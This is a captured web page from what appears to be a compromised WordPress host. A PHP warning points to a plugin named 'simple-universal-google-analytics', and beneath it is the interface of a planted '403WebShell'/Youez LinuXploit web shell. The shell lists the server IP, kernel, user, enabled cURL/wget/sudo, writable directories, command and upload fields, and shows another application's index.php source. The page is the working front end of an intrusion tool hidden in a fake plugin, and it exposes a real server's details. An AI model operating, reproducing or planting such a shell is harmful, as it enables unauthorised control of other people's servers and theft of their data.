Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_www/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_www/public/index.php
<?php

// pkp:  small, fast, powerful
//  http://www.myopenticket.com/admin/test
//  http://php.net/manual/en/language.oop5.magic.php

// scan for changes whenever module added/removed/updated
//  or when special file missing

// modules have dependencies - must be present (maybe autoload them?)

// modules:
//   core pkp
//   database, table name, sql builder, table version system
//   themes
//   server status, os, active webserver, etc, memory, free space, etc, domainname
//   input: get parameters - web or cmdline, files, hostname
//   get/set settings; encryption key
//   users (everything encrypted - username, email, password; some items are also hashed - username, email)
//   module to run a command  as root (or any) user using ssh, or client app
//   fancy/debug error messages
//   profiling / queries / etc

// controller:  name[__GET] / name__POST / name__PATCH / name__DELETE / name_PUT

// when loading controller: if out of date, rebuild special file

// extends model, database

// for each modules:
//  special loader file - title, configuration items, dependencies, hooks, table definitions, table prefix?
//  configuration entries
//  table definitions; create tables on enable.  prompt to delete tables on disable

//define('NET_SSH2_LOGGING', 4);
//define('NET_SSH2_LOG_REALTIME_FILENAME', '/phil/sftp.log');

$STARTTIME = microtime(TRUE);
define('HOME', dirname(__DIR__));
//header('Content-type: text/plain');

try {
	require_once HOME . '/modules/pkpCore/model/module.php';
	require_once HOME . '/modules/pkpCore/modulemain.php';
} catch (Throwable $e) {			// php 7
    error_log('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [1]');
    exit;
}

//error_reporting( E_ALL );
//ini_set( "display_errors", 1 );
if (isset($_SERVER['argc'])) {
    for($i = 1; $i < $_SERVER['argc']; $i++) {
        $entry = $_SERVER['argv'][$i];
        if (($p = strpos($entry, '=')) !== FALSE) {
            $key = trim(substr($entry, 0, $p));
            $value = trim(substr($entry, $p + 1));
            if ($key == 'PHPSESSID') {
                session_id($value);
                break;
            }
        }
    }
} elseif (!empty($_SERVER['QUERY_STRING'])) {
    parse_str($_SERVER['QUERY_STRING'], $temp);
    if (isset($temp['PHPSESSID'])) {
        session_id($temp['PHPSESSID']);
    }
}

try {
    session_start();
    $module = load_module('pkpCore');
    hook_execute('global.load');
    $module->run();
    hook_execute('global.done');
} catch (Throwable $e) {			// php 7
    error_log('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [15]');
}

Youez - 2016 - github.com/yon3zu
LinuXploit